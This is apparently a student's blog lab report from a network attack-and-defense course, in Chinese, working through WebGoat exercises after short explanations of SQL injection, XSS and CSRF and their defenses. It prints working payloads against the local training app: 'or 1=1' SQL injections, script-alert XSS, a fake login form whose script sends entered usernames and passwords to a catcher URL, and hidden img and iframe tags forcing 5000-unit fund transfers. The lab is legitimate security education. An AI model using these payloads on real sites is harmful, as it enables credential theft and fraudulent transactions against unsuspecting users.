aliengirlyz

导航

2019-2020-2 20174325叶竞蔚《网络对抗技术》Exp9 Web安全基础

实验目标

做不少于7个题目

 

基础问题

<i>SQL注入攻击原理,如何防御

指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

1.对输入的数据进行过滤,过滤掉敏感字符。加密数据库

2.在PHP配置文件中Register_globals=off;设置为关闭状态,作用将注册全局变量关闭

3.提高数据库命名技巧,对于一些重要的字段根据程序的特点命名

4.开启PHP安全模式

5.采取辅助软件或网站平台来检测sql注入

<ii>XSS攻击的原理,如何防御

攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

1.在服务器段限制输入格式,输入类型,输入长度以及输入字符

2.要注意避免使用一些有潜在危险的html标签,这些标签很容易嵌入一些恶意网页代码

3.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤

<iii>CSRF攻击原理,如何防御

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

用户在浏览其它站点前登出站点;在浏览器会话结束后清理浏览器的cookie;尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域。

 

实验内容

1.wegoat安装

<i>进入网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载webgoat

<ii>kali输入netstat -tupln | grep 8080查看WebGoat默认使用8080端口是否被占用

<iii>输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

<iv>浏览器访问localhost:8080/WebGoat

<v>下载jdk文件并解压,具体参考https://www.jianshu.com/p/9ec7838411c8

<vi>重启webgoat,发现有了菜单栏

 

 

2.SQL注入攻击(命令)

<i>在菜单栏选择 Injection Flaws-->Command Injection,右键选择Inspect Element审查网页元素对源代码option进行修改

<ii>查看网络端口使用情况和IP地址

3.Numeric SQL Injection

<i>在菜单栏选择 Injection Flaws-->Numeric SQL Injection,右键选择Inspect Element审查网页元素对源代码option进行修改,在选中的城市编号value="101"后添加or 1=1

 

 

 

 

<ii>选择columbia,单击GO,查看天气

 

 

4.string SQL Injection(字符串型注入)

 

<i>使用提前闭合,插入永真式1=1

<ii>输入yb' or 1=1--select查询表里面的所有数据

 

 

5.Phishing with XSS (跨站脚本钓鱼攻击)

<i>创建一个form要求填写用户名和密码将数据再提交到黑客

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>

</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

输入完成后点击Search按钮执行,结果会出现两个输入框,分别名为Enter Username和Enter Password。所以钓鱼就是在这俩输入框里输入的信息都会被钓走,被人窃取。

6.存储型XSS攻击(Stored XSS Attacks)

<i>输入<script>alert("You've been attacked!20174325aliengirlyz");</script>,攻击成功。

 

 

7.反射型XSS攻击(Reflected XSS Attacks)

<i>在Enter your three digit access code中输入代码<script>alert("You've been attacked!!20174325aliengirlyz");</script>,点击purchase的同时页面就给出了反馈

8.跨站请求伪造(Cross Site Request Forgery (CSRF))

<i>查看Parameters中的src和menu值

 

<ii>在title中输入参数20174325

<iii>message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=496&menu=900&transferFunds=5000" width="1" height="1" />以图片的的形式将URL放进Message框,设置高度和宽度的目的是为了隐藏该图片,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

 

<iv>在Message List中生成链接20174325

 

当前页面下载并显示此消息,转走用户的5000元,从而达到CSRF攻击的目的。

9.绕过 CSRF 确认( CSRF Prompt By‐Pass)

<i>查看Parameters中的src和menu值

 

<ii>title输入20174325

<iii>message输入

<iframe src="attack?Screen=531&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=531&menu=900&transferFunds=CONFIRM"> </iframe>

 

<iv>进入massage list生成的链接20174325

 

攻击成功。

 

实验体会

这是本学期的最后一次实验,因为家里的一些原因所以回了老家也因此晚交了实验,但此次实验的体会不光就实验吧,这学期对于网络对抗课程的学习,让我对于网络上的一些操作和了解更加深入了,原来以前一直觉得很复杂的事情操作起来这么简单,原来以前一直觉得不可能的事情也这么轻易,对于以后生活中的安全防范意识也有了更大的提升,总的来说,这学期的网络对抗学习对我而言收获颇丰。

 

posted on 2020-06-02 00:28  aliengirlyz  阅读(149)  评论(0编辑  收藏  举报